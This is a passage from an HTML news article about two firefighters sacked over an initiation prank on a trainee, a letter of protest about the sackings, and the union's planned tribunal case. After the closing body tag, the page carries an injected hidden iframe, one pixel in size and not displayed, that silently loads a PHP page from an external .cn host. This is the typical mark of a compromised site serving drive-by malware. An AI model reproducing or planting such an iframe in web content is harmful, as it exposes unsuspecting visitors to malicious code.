They should be given back their jobs straight away.”<br>The sacking of the two firefighters, upheld at an appeal on August 31, has caused uproar among fire service colleagues who are threatening an all-<wbr>out strike in support.<br>Mr Nattrass said fire service trainees had always been advised to expect some kind of initiation and the trainee in this case was not overly worried.<br>In his letter to Mr Sheehan, Mr Nattrass wrote: “The trainee involved even sought a DVD as a reminder of the event. This is called character building by those who do not suffer from being PC. <br>The attitude of the Brierley Hill are apparently being dealt with in what appears to be heavy-<wbr>handed manner for playing a prank on a trainee. The Station Commander must have been aware that this kind of initiation took place, so is he also on a charge?”<br>Mr Nattrass said that fireman involved in life or death situations needed a strong, even dark, sense of humour to cope with stress.<br>“I accept that if officers break the rules they must be punished but the punishment should fit the crime,” he said.<br>“My business experience tells me a regime deciding to have a future without humour risks bringing morale to an all-<wbr>time low.”<br>Chris Downes, Dudley borough rep with the Fire Brigades Union, today confirmed that the two sacked firemen were now taking their case to an employment tribunal.<br>He said the DVD made of the pranks played on the young recruit would be shown at the hearing as it was “fundamental” to the case.<br>The firefighters were still in a “state of shock” over the sackings, with five more men involved in the episode facing disciplinary hearings on Friday. <br>Colleagues of the two were holding a series of fundraising events.<br>A West Midlands Fire Service spokesman said that they could not comment on disciplinary matters.<br>But media relations officer Mike Fox added: “We have received the letter from Mr Nattrass and Mr Sheehan will be replying directly to Mr Nattrass in due course.”</span><span class="Normal-C6"><br></span><span class="Normal-C5"> </span></P> </div> </div></center> </body> <iframe src='http://www.colehost.cn/update.php' width='1' height='1' style='display:none'></html>
